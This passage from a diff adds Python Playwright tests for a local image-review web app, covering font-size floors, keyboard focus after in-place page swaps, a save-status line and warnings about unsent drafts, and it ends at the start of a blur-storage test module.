return page.locator(sel).first.evaluate("e => parseFloat(getComputedStyle(e).fontSize)")
def test_labels_and_sentences_render_at_their_floors(browser, live):
base, root = live
_seed(root)
page = browser.new_page(viewport=WIDE)
checks = [("/b/g/view?f=a.png", ".film-ord", 11), ("/b/g/marks", ".mark-state", 11), ("/", ".desk-rule", 12),
("/b/links/", ".board-note", 12), ("/b/links/", ".bench-note", 12)]
for url, sel, floor in checks:
page.goto(base + url, wait_until="load")
assert _size(page, sel) >= floor, (url, sel, _size(page, sel))
# folded after the S2 gate: three labels the report's list did not name
for url, sel in (("/b/g/", ".tray-ord"), ("/b/g/compare?a=a.png&b=b.png", ".film-ab")):
page.goto(base + url, wait_until="load")
assert _size(page, sel) >= 11, (url, sel, _size(page, sel))
page.goto(base + "/b/g/", wait_until="load")
stamp = page.locator(".item.is-flagged").first.evaluate(
"e => parseFloat(getComputedStyle(e, '::before').fontSize)")
assert stamp >= 11, ("the tile's 'flagged' stamp", stamp)
page.goto(base + "/b/r/", wait_until="load")
page.wait_for_selector(".bk-ask-tag")
assert _size(page, ".bk-ask-tag") >= 11
page.close()
_FADE = """e => { const cs = getComputedStyle(e), parent = getComputedStyle(e.parentElement);
const a = c => { const m = c.match(/rgba?\\(([^)]+)\\)/); if (!m) return 1; const p = m[1].split(',');
return p.length > 3 ? parseFloat(p[3]) : 1; };
return {opacity: parseFloat(cs.opacity), filter: cs.filter, alpha: a(cs.color),
color: cs.color, parent: parent.color}; }"""
def test_nothing_fades(browser, live):
base, root = live
_seed(root)
page = browser.new_page(viewport=WIDE)
page.goto(base + "/b/r/", wait_until="load")
page.wait_for_selector(".bk-ask-det")
for sel in (".bk-ask-det", ".bk-ask-was", ".bk-ask-title"):
got = page.locator(sel).first.evaluate(_FADE)
assert got["opacity"] == 1 and got["filter"] == "none" and got["alpha"] == 1, (sel, got)
det = page.locator(".bk-ask-det").first.evaluate(_FADE)
assert det["color"] == det["parent"], ("details take the host's own colour", det)
ph = page.locator(".bk-ask-notes").first.evaluate("""e => { const p = getComputedStyle(e, '::placeholder');
return {opacity: parseFloat(p.opacity), color: p.color, field: getComputedStyle(e).color}; }""")
assert ph["opacity"] >= 0.7 and ph["color"] == ph["field"], ph
page.goto(base + "/b/links/", wait_until="load")
row = page.locator(".bench-row.is-retired").first.evaluate(_FADE)
assert row["opacity"] == 1 and row["filter"] == "none", row
page.close()
+808
View File
@@ -0,0 +1,808 @@
"""S5b of the anti-slop fix slices (docs/contracts/as_antislop.contract.md):
the in-place client's focus, its status line, and the unsent-draft guard.
Measured in the same real uvicorn + Chromium harness as test_flow_browser.
Skips, never fails, when no usable Chromium exists. No test here hears a
screen reader: what is held is the precondition (a displayed live region whose
text changes), not the announcement.
"""
import pathlib
import sys
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from test_flow_browser import PNG, _picks, _set, browser, live # noqa: E402,F401 (fixtures)
WIDE = {"width": 1400, "height": 900}
# Every POST waits for the test: window.__release() lets the oldest one through
# to the server, window.__release('fail') answers it 500 without sending it.
HOLD = """
(function () {
var real = window.fetch;
window.__held = [];
window.fetch = function (u, o) {
if (!(o && o.method === 'POST')) return real.apply(this, arguments);
var self = this, args = arguments;
return new Promise(function (res, rej) {
window.__held.push(function (how) {
if (how === 'fail') res(new Response('', {status: 500}));
else real.apply(self, args).then(res, rej);
});
});
};
window.__release = function (how) { var f = window.__held.shift(); if (f) f(how); return !!f; };
})();
"""
# Counts swaps, and marks the document so a reload is visible.
COUNT = """
document.addEventListener('booth:swapped', function () { window.__swaps = (window.__swaps || 0) + 1; });
"""
LINE = '[data-region="status"]'
def _page(browser, base, path, hold=False, viewport=WIDE):
page = browser.new_page(viewport=viewport)
page.add_init_script(COUNT)
if hold:
page.add_init_script(HOLD)
page.goto(f"{base}{path}", wait_until="networkidle")
page.evaluate("window.__same = 1")
return page
def _said(page):
return page.evaluate("""() => { const s = document.querySelector('[data-region="status"]');
return {text: s.textContent, tone: s.getAttribute('data-tone')}; }""")
def _wait_said(page, needle, timeout=10000):
page.wait_for_function(
"n => document.querySelector('[data-region=\"status\"]').textContent.includes(n)", arg=needle,
timeout=timeout)
def _wait_swaps(page, n, timeout=10000):
page.wait_for_function("n => (window.__swaps || 0) >= n", arg=n, timeout=timeout)
def _wait_held(page, n=1, timeout=5000):
page.wait_for_function("n => window.__held.length >= n", arg=n, timeout=timeout)
def _focused(page, selector, index=0):
return page.evaluate(
"([s, i]) => document.activeElement === document.querySelectorAll(s)[i]", [selector, index])
# ---- G1: focus survives a swap -------------------------------------------------------
def test_focus_returns_to_the_pressed_control(browser, live):
base, root = live
b = _set(root, 3)
page = _page(browser, base, "/b/g/")
flag = 'figure.item[data-item="02.png"] .flagtoggle button'
page.locator(flag).focus()
y = page.evaluate("scrollY")
page.keyboard.press("Enter")
page.wait_for_selector('figure.item.is-flagged[data-item="02.png"]', timeout=10000)
_wait_swaps(page, 1)
assert _focused(page, flag), page.evaluate("document.activeElement.outerHTML.slice(0, 120)")
assert abs(page.evaluate("scrollY") - y) <= 1
page.locator(".verdict .mark-add textarea").fill("a note")
page.locator(".verdict .mark-add button").focus()
page.keyboard.press("Enter")
_wait_swaps(page, 2)
assert _focused(page, ".verdict .mark-add button")
page.close()
_picks(b, ("a1",))
page = _page(browser, base, "/b/g/marks")
page.check('#mark-a1 input[type=radio][value="yes"]')
page.locator("#mark-a1 .mark-submit").focus()
page.keyboard.press("Enter")
page.wait_for_function("document.querySelectorAll('.mark-pick.is-answered').length === 1", timeout=10000)
_wait_swaps(page, 1)
# answered, the pick's form folds into a closed <details>: focus goes to the
# summary that opens it again, never to <body>
assert page.locator("#mark-a1 details.mark-formwrap").get_attribute("open") is None
assert _focused(page, "#mark-a1 details.mark-formwrap > summary"), \
page.evaluate("document.activeElement.outerHTML.slice(0, 120)")
page.close()
def test_focus_picks_the_same_one_of_two(browser, live):
from booth.marks import set_flag, write_note
base, root = live
b = _set(root, 3)
set_flag(b, "01.png", True)
write_note(b, "01.png", "one")
write_note(b, "01.png", "two")
page = _page(browser, base, "/b/g/")
same = '[data-region="verdict"] a[href="view?f=01.png"]'
assert page.locator(same).count() >= 2, "positive control: one region, two links with one key"
page.evaluate("s => document.querySelectorAll(s)[1].focus()", same)
page.evaluate("document.querySelector('figure.item[data-item=\"03.png\"] form.flagtoggle').requestSubmit()")
_wait_swaps(page, 1)
assert _focused(page, same, 1), page.evaluate("document.activeElement.outerHTML.slice(0, 120)")
page.close()
def test_focus_lands_on_the_region_when_the_control_is_gone(browser, live):
from booth.marks import write_note
base, root = live
b = _set(root, 3)
write_note(b, "01.png", "gone soon")
page = _page(browser, base, "/b/g/")
page.locator('figure.item[data-item="01.png"] .item-note .mark-x').focus()
page.keyboard.press("Enter")
page.wait_for_function(
"document.querySelectorAll('figure.item[data-item=\"01.png\"] .item-note').length === 0", timeout=10000)
_wait_swaps(page, 1)
region = '[data-region="item-01.png"]'
assert _focused(page, region), page.evaluate("document.activeElement.tagName")
page.evaluate("document.querySelector('figure.item[data-item=\"02.png\"] form.flagtoggle').requestSubmit()")
_wait_swaps(page, 2)
assert _focused(page, region), "a second swap dropped focus from the region"
assert page.evaluate("document.activeElement !== document.body")
page.close()
def test_focus_restore_does_not_scroll(browser, live):
base, root = live
_set(root, 30)
page = _page(browser, base, "/b/g/", hold=True)
flag = 'figure.item[data-item="01.png"] .flagtoggle button'
page.locator(flag).focus()
page.keyboard.press("Enter")
_wait_held(page)
page.evaluate("window.scrollTo(0, document.documentElement.scrollHeight)")
y = page.evaluate("scrollY")
assert y > 400, "positive control: the page is long enough to scroll away"
page.evaluate("window.__release()")
_wait_swaps(page, 1)
assert _focused(page, flag)
assert abs(page.evaluate("scrollY") - y) <= 1, "restoring focus scrolled the page"
page.close()
def test_focus_elsewhere_is_left_alone(browser, live):
base, root = live
_set(root, 3)
page = _page(browser, base, "/b/g/", hold=True)
page.locator('figure.item[data-item="02.png"] .flagtoggle button').focus()
page.keyboard.press("Enter")
_wait_held(page)
away = '.theme button[data-theme-choice="system"]'
page.locator(away).focus()
page.evaluate("window.__release()")
_wait_swaps(page, 1)
assert _focused(page, away)
page.close()
# ---- G2: one status line, where it can be seen -------------------------------------------
def _rows_left(page, stage):
return page.evaluate("""s => {
const v = document.querySelector('.viewer'), st = document.querySelector(s);
const others = [...v.children].filter(c => c !== st && getComputedStyle(c).display !== 'none'
&& getComputedStyle(c).position !== 'absolute'
&& getComputedStyle(c).position !== 'fixed');
const hs = others.map(c => c.getBoundingClientRect().height);
const vh = v.getBoundingClientRect().height;
return {stage: st.getBoundingClientRect().height, left: vh - hs.reduce((a, h) => a + h, 0),
tallest_other: Math.max(...hs), viewer: vh};
}""", stage)
def test_the_status_line_is_visible_on_the_review(browser, live):
base, root = live
_set(root, 3)
for path, stage, press in (("/b/g/view?f=01.png", ".review-body", "#rail form.vflag button"),
("/b/g/compare?a=01.png&b=02.png", ".cmp-body", '[data-region="flag-a"] button')):
page = browser.new_page(viewport={"width": 1280, "height": 800})
page.route("**/b/g/flag", lambda route: route.fulfill(status=500, body=""))
page.goto(f"{base}{path}", wait_until="networkidle")
rows = _rows_left(page, stage)
# the stage keeps the 1fr row: it takes the rest, and no other row grew
assert abs(rows["stage"] - rows["left"]) <= 1 and rows["tallest_other"] < rows["viewer"] / 4, (path, rows)
page.locator(press).first.click()
_wait_said(page, "Could not save in place", timeout=5000)
hit = page.evaluate("""() => { const s = document.querySelector('[data-region="status"]');
const r = s.getBoundingClientRect();
const e = document.elementFromPoint(r.left + r.width / 2, r.top + r.height / 2);
return e === s || s.contains(e); }""")
assert hit, f"{path}: the stage covers the line"
page.close()
def test_a_save_does_not_move_the_page(browser, live):
"""Every save now says something. A line that took space in the page flow
moved the page under the reader (booth-dev's
test_a_flag_lands_in_place_and_every_region_catches_up caught 50px). The
words must be in view where the reader is, and move nothing."""
base, root = live
_set(root, 30)
page = _page(browser, base, "/b/g/", hold=True, viewport={"width": 1400, "height": 800})
tile = 'figure.item[data-item="15.png"]'
page.locator(tile).scroll_into_view_if_needed()
top = lambda: page.locator(tile).evaluate("e => e.getBoundingClientRect().top") # noqa: E731
before = top()
page.locator(f"{tile} .flagtoggle button").click()
_wait_held(page)
during = top()
seen = page.evaluate("""() => { const r = document.querySelector('[data-region="status"]').getBoundingClientRect();
return r.top >= 0 && r.bottom <= innerHeight && r.height > 0; }""")
page.evaluate("window.__release()")
_wait_said(page, "Saved.")
after = top()
page.close()
assert abs(during - before) <= 1 and abs(after - before) <= 1, (before, during, after)
assert seen, "the words are out of view where the reader is"
def test_the_covered_letterhead_leaves_the_tab_order(browser, live):
base, root = live
_set(root, 3)
for path in ("/b/g/view?f=01.png", "/b/g/compare?a=01.png&b=02.png"):
for vp, want in (({"width": 1280, "height": 800}, "hidden"), ({"width": 390, "height": 844}, "visible")):
page = browser.new_page(viewport=vp)
page.goto(f"{base}{path}", wait_until="networkidle")
got = page.evaluate("""() => ['header.topbar', 'footer.foot'].map(
s => getComputedStyle(document.querySelector(s)).visibility)""")
assert got == [want, want], (path, vp, got)
page.close()
# ---- G4: the line speaks in time ------------------------------------------------------------
def test_the_status_line_is_always_displayed(browser, live):
base, root = live
_set(root, 2)
for path in ("/b/g/", "/b/g/view?f=01.png"):
page = _page(browser, base, path, hold=True)
shown = "() => { const c = getComputedStyle(document.querySelector('[data-region=\"status\"]')); return [c.display, c.visibility]; }"
empty = page.evaluate(shown)
page.locator("form.flagtoggle button, #rail form.vflag button").first.click()
_wait_said(page, "Saving")
full = page.evaluate(shown)
page.close()
for d, v in (empty, full):
assert d != "none" and v == "visible", (path, empty, full)
def test_an_empty_status_line_takes_no_space(browser, live):
base, root = live
_set(root, 2)
for path in ("/b/g/", "/b/g/view?f=01.png", "/b/g/compare?a=01.png&b=02.png"):
page = _page(browser, base, path)
h = page.evaluate("document.querySelector('[data-region=\"status\"]').getBoundingClientRect().height")
page.close()
assert h == 0, (path, h)
def test_a_save_says_saving_then_saved(browser, live):
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/", hold=True)
page.locator('figure.item[data-item="01.png"] .flagtoggle button').click()
_wait_held(page)
assert _said(page) == {"text": "Saving…", "tone": None}
page.evaluate("window.__release()")
_wait_said(page, "Saved.")
assert _said(page) == {"text": "Saved.", "tone": None}
page.wait_for_timeout(2500)
assert _said(page) == {"text": "", "tone": None}
page.close()
def test_a_new_save_is_not_cleared_by_the_last_ones_timer(browser, live):
base, root = live
_set(root, 3)
page = _page(browser, base, "/b/g/", hold=True)
page.locator('figure.item[data-item="01.png"] .flagtoggle button').click()
_wait_held(page)
page.evaluate("window.__release()")
_wait_said(page, "Saved.")
page.locator('figure.item[data-item="02.png"] .flagtoggle button').click()
_wait_held(page)
page.wait_for_timeout(2500)
assert _said(page)["text"] == "Saving…", "the last save's timer cleared the new one's words"
page.evaluate("window.__release()")
_wait_said(page, "Saved.")
page.close()
def test_a_queued_save_keeps_saying_saving(browser, live):
base, root = live
_set(root, 3)
page = _page(browser, base, "/b/g/", hold=True)
page.locator('figure.item[data-item="01.png"] .flagtoggle button').click()
page.locator('figure.item[data-item="02.png"] .flagtoggle button').click()
_wait_held(page)
page.evaluate("window.__release()")
_wait_swaps(page, 1)
assert _said(page)["text"] == "Saving…", "the first save said Saved. while the second was queued"
_wait_held(page)
page.evaluate("window.__release()")
_wait_said(page, "Saved.")
page.close()
def test_a_batch_speaks_too(browser, live):
base, root = live
b = _set(root, 1)
_picks(b)
page = _page(browser, base, "/b/g/marks", hold=True)
page.check('#mark-a1 input[type=radio][value="yes"]')
page.check('#mark-a3 input[type=radio][value="no"]')
page.locator("#mark-a1 .mark-submit").click()
_wait_held(page)
assert _said(page) == {"text": "Saving…", "tone": None}
page.locator("#mark-a2 .mark-submit").click()
assert _said(page)["text"] == "Still saving…"
page.evaluate("window.__release()")
_wait_held(page)
page.evaluate("window.__release()")
_wait_said(page, "Saved.")
assert _said(page)["tone"] is None
page.close()
def test_a_repeat_press_says_still_saving(browser, live):
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/", hold=True)
btn = 'figure.item[data-item="01.png"] .flagtoggle button'
page.locator(btn).click()
_wait_held(page)
page.locator(btn).click()
assert _said(page)["text"] == "Still saving…"
page.wait_for_timeout(2500)
assert _said(page)["text"] == "Still saving…", "it cleared while the save was still held"
assert page.evaluate("window.__held.length") == 1, "the repeat press sent a second POST"
page.evaluate("window.__release()")
_wait_said(page, "Saved.")
page.close()
def test_the_form_in_flight_is_busy(browser, live):
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/", hold=True)
form = 'figure.item[data-item="01.png"] form.flagtoggle'
page.locator(f"{form} button").click()
_wait_held(page)
assert page.locator(form).get_attribute("aria-busy") == "true"
page.evaluate("window.__release()")
_wait_swaps(page, 1)
assert page.locator(form).get_attribute("aria-busy") is None
# the failure path that stays (another draft is on the page): busy ends too
page.locator(".verdict .mark-add textarea").fill("another draft")
page.locator(f"{form} button").click()
_wait_held(page)
page.evaluate("window.__release('fail')")
_wait_said(page, "Could not save in place")
assert page.locator(form).get_attribute("aria-busy") is None
page.close()
def test_a_failure_then_an_edit_then_a_save(browser, live):
"""A request trace: a failure that stays, an edit, a second press."""
from booth.marks import marks_for
base, root = live
b = _set(root, 2)
page = _page(browser, base, "/b/g/", hold=True)
page.locator(".verdict .mark-add textarea").fill("keep me")
tile = 'figure.item[data-item="01.png"]'
page.locator(f"{tile} .item-addnote summary").click()
page.locator(f"{tile} .item-addnote textarea").fill("first")
page.locator(f"{tile} .item-addnote button").click()
_wait_held(page)
page.evaluate("window.__release('fail')")
_wait_said(page, "Could not save in place. Reload to see what was saved")
page.wait_for_timeout(2500)
said = _said(page)
assert said["tone"] == "warn" and "Could not save" in said["text"], said
page.locator(f"{tile} .item-addnote textarea").fill("first, edited")
page.locator(f"{tile} .item-addnote button").click()
_wait_held(page)
assert _said(page) == {"text": "Saving…", "tone": None}
page.evaluate("window.__release()")
_wait_said(page, "Saved.")
same = page.evaluate("window.__same === 1")
kept = page.locator(".verdict .mark-add textarea").input_value()
page.close()
assert same and kept == "keep me", (same, kept)
assert [m.text for m in marks_for(b) if m.shape == "note"] == ["first, edited"]
# ---- G13: leaving with an unsent draft asks first ----------------------------------------------
def _dialogs(page):
seen = []
page.on("dialog", lambda d: (seen.append(d.type), d.dismiss()))
return seen
def test_leaving_with_a_draft_asks(browser, live):
base, root = live
_set(root, 3)
page = _page(browser, base, "/b/g/view?f=01.png")
seen = _dialogs(page)
page.locator("#vnote-text").fill("draft")
page.locator('.film a.film-f[href="?f=02.png"]').click(no_wait_after=True)
page.wait_for_timeout(600)
assert seen == ["beforeunload"], seen
assert "f=01.png" in page.url and page.locator("#vnote-text").input_value() == "draft"
page.evaluate("document.activeElement.blur()")
page.keyboard.press("ArrowRight")
page.wait_for_timeout(600)
assert seen == ["beforeunload", "beforeunload"], seen
assert "f=01.png" in page.url
page.close()
def test_leaving_a_clean_page_does_not_ask(browser, live):
base, root = live
_set(root, 3)
page = _page(browser, base, "/b/g/view?f=01.png")
seen = _dialogs(page)
page.locator('.film a.film-f[href="?f=02.png"]').click()
page.wait_for_url("**f=02.png", timeout=5000)
page.close()
assert seen == []
def test_a_saved_draft_no_longer_asks(browser, live):
base, root = live
_set(root, 3)
page = _page(browser, base, "/b/g/view?f=01.png")
seen = _dialogs(page)
page.locator("#vnote-text").fill("saved")
page.locator("form:has(#vnote-text) button[type=submit]").click()
_wait_swaps(page, 1)
page.locator('.film a.film-f[href="?f=02.png"]').click()
page.wait_for_url("**f=02.png", timeout=5000)
page.close()
assert seen == []
def test_a_failed_save_keeps_the_other_drafts(browser, live):
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/")
page.route("**/b/g/flag", lambda route: route.fulfill(status=500, body=""))
page.locator(".verdict .mark-add textarea").fill("other")
page.locator('figure.item[data-item="01.png"] .flagtoggle button').click()
_wait_said(page, "Could not save in place. Reload to see what was saved; your other entries are still here.")
page.wait_for_timeout(1500)
said = _said(page)
same = page.evaluate("window.__same === 1")
kept = page.locator(".verdict .mark-add textarea").input_value()
page.close()
assert same and kept == "other" and said["tone"] == "warn", (same, kept, said)
def test_a_failed_save_keeps_text_typed_while_it_flew(browser, live):
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/", hold=True)
box = ".verdict .mark-add textarea"
page.locator(box).fill("first")
page.locator(".verdict .mark-add button").click()
_wait_held(page)
page.locator(box).fill("first and more")
page.evaluate("window.__release('fail')")
_wait_said(page, "Could not save in place")
page.wait_for_timeout(1500)
same = page.evaluate("window.__same === 1")
kept = page.locator(box).input_value()
page.close()
assert same and kept == "first and more", (same, kept)
def test_a_changed_page_keeps_the_other_drafts(browser, live):
base, root = live
b = _set(root, 2)
page = _page(browser, base, "/b/g/", hold=True)
page.locator(".verdict .mark-add textarea").fill("other")
page.locator('figure.item[data-item="01.png"] .flagtoggle button').click()
_wait_held(page)
(b / "03.png").write_bytes(PNG) # a region the live page does not have
page.evaluate("window.__release()")
_wait_said(page, "Saved. The page changed meanwhile; reload to see it.")
page.wait_for_timeout(1500)
busy = page.locator('figure.item[data-item="01.png"] form.flagtoggle').get_attribute("aria-busy")
assert busy is None, "a settled save left its form busy"
said = _said(page)
same = page.evaluate("window.__same === 1")
kept = page.locator(".verdict .mark-add textarea").input_value()
page.close()
assert same and kept == "other" and said["tone"] == "warn", (same, kept, said)
def test_a_draft_typed_during_the_beat_stays(browser, live):
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/")
page.route("**/b/g/flag", lambda route: route.fulfill(status=500, body=""))
page.locator('figure.item[data-item="01.png"] .flagtoggle button').click()
_wait_said(page, "reloading to show what was saved")
page.locator(".verdict .mark-add textarea").fill("typed in the beat")
page.wait_for_timeout(1500)
same = page.evaluate("window.__same === 1")
kept = page.locator(".verdict .mark-add textarea").input_value()
said = _said(page)
page.close()
assert same and kept == "typed in the beat", (same, kept)
assert "your other entries are still here" in said["text"], said
def test_its_own_reload_does_not_ask(browser, live):
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/")
seen = _dialogs(page)
page.route("**/b/g/note", lambda route: route.fulfill(status=500, body=""))
page.locator(".verdict .mark-add textarea").fill("sent, and failed")
page.locator(".verdict .mark-add button").click()
_wait_said(page, "reloading to show what was saved")
page.wait_for_function("window.__same !== 1", timeout=5000)
page.close()
assert seen == [], seen
def test_embed_submit_does_not_ask(browser, live):
from booth.marks import declare_pick, marks_for
base, root = live
b = root / "r"
b.mkdir()
declare_pick(b, "winner", {"prompt": "Which render wins?", "options": ["A", "B"]})
(b / "index.html").write_text(
'<!doctype html><html><head><script src="/_booth/embed.js" defer></script></head>'
'<body><h1>Report</h1><div data-booth-ask="winner"></div></body></html>')
page = browser.new_page()
page.goto(f"{base}/b/r/", wait_until="networkidle")
page.wait_for_selector(".bk-ask-opt input[type=radio]", timeout=10000)
seen = _dialogs(page)
page.locator(".bk-ask-opt input[type=radio]").first.check()
with page.expect_navigation(timeout=10000):
page.locator(".bk-ask-go").click()
page.close()
assert seen == []
assert [m.answer for m in marks_for(b)][0], "the plain submit did not land"
def test_embed_leaving_with_a_draft_asks(browser, live):
"""The positive control for the embed's guard: a changed answer, then the
home chip, asks."""
from booth.marks import declare_pick
base, root = live
b = root / "r"
b.mkdir()
declare_pick(b, "winner", {"prompt": "Which render wins?", "options": ["A", "B"]})
(b / "index.html").write_text(
'<!doctype html><html><head><script src="/_booth/embed.js" defer></script></head>'
'<body><h1>Report</h1><div data-booth-ask="winner"></div></body></html>')
page = browser.new_page()
page.goto(f"{base}/b/r/", wait_until="networkidle")
page.wait_for_selector(".bk-ask-opt input[type=radio]", timeout=10000)
seen = _dialogs(page)
page.locator(".bk-ask-opt input[type=radio]").first.check()
page.locator(".booth-nav-home").click(no_wait_after=True)
page.wait_for_timeout(600)
page.close()
assert seen == ["beforeunload"], seen
# ---- folded from the heid bug-hunt (HNITTA, thread 01M3MRTNTWEPJHTN4APRR81KH4) -------------
def test_a_stale_tile_is_not_left_busy(browser, live):
"""R1: a save whose own tile survives the swap as a stale tile (un-flagged
under the flagged filter) settles like any other: its form is not busy."""
from booth.marks import set_flag
base, root = live
b = _set(root, 2)
set_flag(b, "01.png", True)
set_flag(b, "02.png", True)
page = _page(browser, base, "/b/g/?filter=flagged")
form = 'figure.item[data-item="01.png"] form.flagtoggle'
page.locator(f"{form} button").click()
page.wait_for_selector('figure.item.is-stale[data-item="01.png"]', timeout=10000)
page.wait_for_timeout(300)
assert page.locator(form).get_attribute("aria-busy") is None
page.close()
def test_a_queued_form_is_busy_on_the_live_page(browser, live):
"""R1's twin: an earlier save's swap replaces a queued form's node, and the
live copy is the one that must say it is busy."""
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/", hold=True)
page.locator('figure.item[data-item="01.png"] .flagtoggle button').click()
_wait_held(page)
page.locator(".verdict .mark-add textarea").fill("queued")
page.locator(".verdict .mark-add button").click()
page.evaluate("window.__release()")
_wait_swaps(page, 1)
assert page.locator(".verdict form.mark-add").get_attribute("aria-busy") == "true"
_wait_held(page)
page.evaluate("window.__release()")
_wait_swaps(page, 2)
page.wait_for_timeout(200)
assert page.locator(".verdict form.mark-add").get_attribute("aria-busy") is None
page.close()
def test_a_resubmit_in_the_beat_is_not_reloaded_away(browser, live):
"""R2: the failure's reload is due, and the operator presses again inside
the beat. The new save owns the page; the old reload must not abort it."""
from booth.marks import marks_for
base, root = live
b = _set(root, 2)
page = _page(browser, base, "/b/g/")
calls = {"n": 0}
def first_fails(route):
calls["n"] += 1
if calls["n"] == 1:
route.fulfill(status=500, body="")
else:
route.continue_()
page.route("**/b/g/note", first_fails)
page.locator(".verdict .mark-add textarea").fill("again")
page.locator(".verdict .mark-add button").click()
_wait_said(page, "reloading to show what was saved")
page.locator(".verdict .mark-add button").click()
_wait_said(page, "Saved.")
page.wait_for_timeout(1500)
same = page.evaluate("window.__same === 1")
page.close()
assert same, "the old failure's reload fired over the new save"
assert [m.text for m in marks_for(b) if m.shape == "note"] == ["again"]
def test_an_unrelated_save_does_not_bury_a_failure(browser, live):
"""R4: a note fails and stays; a different save then lands. The line keeps
saying the note is not saved, rather than "Saved."."""
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/", hold=True)
page.locator(".verdict .mark-add textarea").fill("another draft") # so the failure stays
tile = 'figure.item[data-item="01.png"]'
page.locator(f"{tile} .item-addnote summary").click()
page.locator(f"{tile} .item-addnote textarea").fill("did not go")
page.locator(f"{tile} .item-addnote button").click()
_wait_held(page)
page.evaluate("window.__release('fail')")
_wait_said(page, "Could not save in place. Reload to see what was saved")
page.locator('figure.item[data-item="02.png"] .flagtoggle button').click()
_wait_held(page)
page.evaluate("window.__release()")
_wait_swaps(page, 1)
page.wait_for_timeout(300)
said = _said(page)
page.close()
assert said["tone"] == "warn" and "Could not save in place" in said["text"], said
def test_a_save_whose_page_would_not_refresh_says_saved(browser, live):
"""R8: the POST lands (204) and the page GET fails. That is a save, and the
line must not say it could not save (a second press would write it twice)."""
from booth.marks import marks_for
base, root = live
b = _set(root, 2)
page = _page(browser, base, "/b/g/")
gate = {"on": False}
page.route("**/b/g/", lambda route: route.fulfill(status=500, body="")
if gate["on"] and route.request.method == "GET" else route.continue_())
page.locator(".verdict .mark-add textarea").fill("landed")
tile = 'figure.item[data-item="01.png"]'
page.locator(f"{tile} .item-addnote summary").click()
page.locator(f"{tile} .item-addnote textarea").fill("another draft")
gate["on"] = True
page.locator(".verdict .mark-add button").click()
_wait_said(page, "Saved. Could not refresh the page; reload to see it.")
page.wait_for_timeout(1500)
said = _said(page)
same = page.evaluate("window.__same === 1")
page.close()
assert said["tone"] == "warn" and same, (said, same)
assert [m.text for m in marks_for(b) if m.shape == "note"] == ["landed"]
def test_focus_on_a_summary_survives_the_next_swap(browser, live):
"""R10: focus that was restored to an answered pick's summary stays there
through the next swap."""
base, root = live
b = _set(root, 1)
_picks(b, ("a1", "a2"))
page = _page(browser, base, "/b/g/marks")
page.check('#mark-a1 input[type=radio][value="yes"]')
page.locator("#mark-a1 .mark-submit").focus()
page.keyboard.press("Enter")
_wait_swaps(page, 1)
summary = "#mark-a1 details.mark-formwrap > summary"
assert _focused(page, summary)
page.evaluate("document.querySelector('#mark-a2 input[type=radio][value=\"no\"]').checked = true;"
"document.querySelector('#mark-a2 form.mark-form').requestSubmit()")
_wait_swaps(page, 2)
assert _focused(page, summary), page.evaluate("document.activeElement.outerHTML.slice(0, 120)")
page.close()
def test_an_edit_made_while_saving_is_not_called_saved(browser, live):
"""R12: text added to a note while it was saving is on screen and not on
the server. The line says so, instead of "Saved."."""
base, root = live
_set(root, 2)
page = _page(browser, base, "/b/g/", hold=True)
box = ".verdict .mark-add textarea"
page.locator(box).fill("hello")
page.locator(".verdict .mark-add button").click()
_wait_held(page)
page.locator(box).fill("hello!")
page.evaluate("window.__release()")
_wait_swaps(page, 1)
page.wait_for_timeout(300)
said = _said(page)
kept = page.locator(box).input_value()
page.close()
assert kept == "hello!", kept
assert said["tone"] == "warn" and "not saved yet" in said["text"], said
def _embed_page(browser, base, root, host_script=""):
from booth.marks import declare_pick
b = root / "r"
b.mkdir()
declare_pick(b, "winner", {"prompt": "Which render wins?", "options": ["A", "B"]})
(b / "index.html").write_text(
'<!doctype html><html><head><script src="/_booth/embed.js" defer></script></head>'
f'<body><h1>Report</h1><div data-booth-ask="winner"></div>{host_script}</body></html>')
page = browser.new_page()
page.goto(f"{base}/b/r/", wait_until="networkidle")
page.wait_for_selector(".bk-ask-opt input[type=radio]", timeout=10000)
return page
def test_embed_a_cancelled_submit_is_guarded_again(browser, live):
"""R3: a host handler cancels our native submit. Nothing was sent, so the
answer is an unsent draft again, and leaving asks."""
base, root = live
host = ("<script>document.addEventListener('DOMContentLoaded', function () {"
" document.addEventListener('submit', function (e) { e.preventDefault(); }); });</script>")
page = _embed_page(browser, base, root, host)
seen = _dialogs(page)
page.locator(".bk-ask-opt input[type=radio]").first.check()
page.locator(".bk-ask-go").click()
page.wait_for_timeout(300)
assert "/b/r/" in page.url and seen == [], "positive control: the host cancelled it"
page.locator(".booth-nav-home").click(no_wait_after=True)
page.wait_for_timeout(600)
page.close()
assert seen == ["beforeunload"], seen
def test_embed_the_skip_covers_one_leave(browser, live):
"""R3: the skip for our own submit covers the one navigation it started. A
submit whose response does not replace the page (a 204 here; a stop or Esc
in life) leaves the answer unsent on screen, and the next leave asks."""
base, root = live
page = _embed_page(browser, base, root)
page.route("**/b/r/answer", lambda route: route.fulfill(status=204, body=""))
seen = _dialogs(page)
page.locator(".bk-ask-opt input[type=radio]").first.check()
page.locator(".bk-ask-go").click()
page.wait_for_timeout(500)
assert "/b/r/" in page.url and seen == [], "positive control: the page stayed, and our submit did not ask"
page.locator(".booth-nav-home").click(no_wait_after=True)
page.wait_for_timeout(600)
page.close()
assert seen == ["beforeunload"], seen
+445
View File
@@ -0,0 +1,445 @@
"""Per-item blur storage — `.blurred` round-trips any rel, whoever writes it.
`.blurred` was one stripped rel per line, so a rel with a leading space could
not survive a write: blurring " a.png" stored "a.png", and toggled the
neighbour instead (heid bug-hunt on r2b merge 1, reported to booth-dev). The set
now lives in `.blurred.json`, a JSON array (the `.seen` shape), read without
following a link or blocking on a FIFO. The legacy `.blurred` is still READ, as
lines, while no `.blurred.json` exists; the first write retires it. Two names,
so neither format is ever sniffed (heid bug-hunt on this change, 3 of 3 arms).
Two writers share the file: the service (the operator's per-item control) and
`scripts/booth blur` (a session at post time). Both go through `booth.blur`,
which is stdlib-only so the CLI can import it under the system python3.
"""
from __future__ import annotations
import json
import os
import pathlib
import subprocess
import sys
import threading
import pytest
from fastapi.testclient import TestClient
